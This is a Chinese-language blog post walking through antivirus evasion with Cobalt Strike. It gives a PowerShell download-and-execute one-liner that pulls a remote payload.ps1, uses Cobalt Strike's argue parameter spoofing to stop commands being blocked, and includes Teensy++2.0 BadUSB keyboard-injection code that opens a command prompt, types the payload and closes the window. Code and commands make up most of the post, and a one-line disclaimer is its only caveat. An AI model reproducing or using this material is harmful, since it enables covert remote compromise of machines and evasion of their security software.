文章写了有一段时间了,本来打算投稿某网站的,但发现太菜了,索性算了
本文章仅供个人研究之用,不得用于非法用途,否则后果自负
系统:windows_7_64_专业版
工具:cobalt strike3.14、Teensy++2.0
关于利用方面
我首先就想到了powershell,但是网上的免杀方法已经被杀得七七八八了
但是天无绝人之路,再继续搜索下看到了白色键盘师傅的文章,经过测试可绕过文章发布最新的某数字卫士上线
https://www.temp33.com/bypass%E7%B3%BB%E5%88%97-%E7%BB%95%E8%BF%87360%E6%97%A0%E6%96%87%E4%BB%B6powershell%E4%B8%8A%E7%BA%BF/
在cobalt strike3.14生成powershell payload
Payload:
cmd /c echo IEX ((new-object net.webclient).downloadstring('http://127.0.0.1:80/payload.ps1')) | powershell -
到这一步,继续测试还有个问题,就是虽然成功上线了,但是在执行命令的时候却被杀了
于是再次寻找方法,看到了师傅们早就研究过这个问题了,于是使用了ANONYMOUS师傅的使用
obalt strike的argue参数污染
argue powershell.exe xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
再运行argue,检查污染结果:
接下来就是复现师傅们的研究成果
execute执行powershell.exe(shell命令不会成功,因为shell本质是cmd.exe /c arguments)
执行成功!
开始正式测试
Powershell免杀测试进行到这里就初步完成了,接下来要结合Teensy++2.0来进行测试
把之前的 Hello,Teensy,拿来改一下,先不考虑隐藏
#include "Keyboard.h"
/* Init function */
void setup()
{
// Begining the Keyboard stream
Keyboard.begin();
// Wait 500ms
delay(500);
delay(3000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("cmd");
delay(1000);
Keyboard.press(KEY_RETURN);
delay(50);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.print("cmd /c echo IEX ((new-object net.webclient).downloadstring('http://127.0.0.1:80/payload.ps1')) | powershell -");
Keyboard.press(KEY_RETURN);
delay(50);
Keyboard.release(KEY_RETURN);
delay(700);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
Keyboard.releaseAll();
// Ending stream
Keyboard.end();
}
/* Unused endless loop */
void loop() {}
按照之前的制作基础编译,烧录进去
然后开始测试,这是在我机器上的例子
测试成功
关于BadUSB的隐藏
我看了网上的一些例子,感觉都不是特别理想,等再多收集一点例子时候再写一篇总结一下
参考的文章:
http://www.0x3.biz/archives/837.html
https://github.com/X1r0z/exp10it/issues/65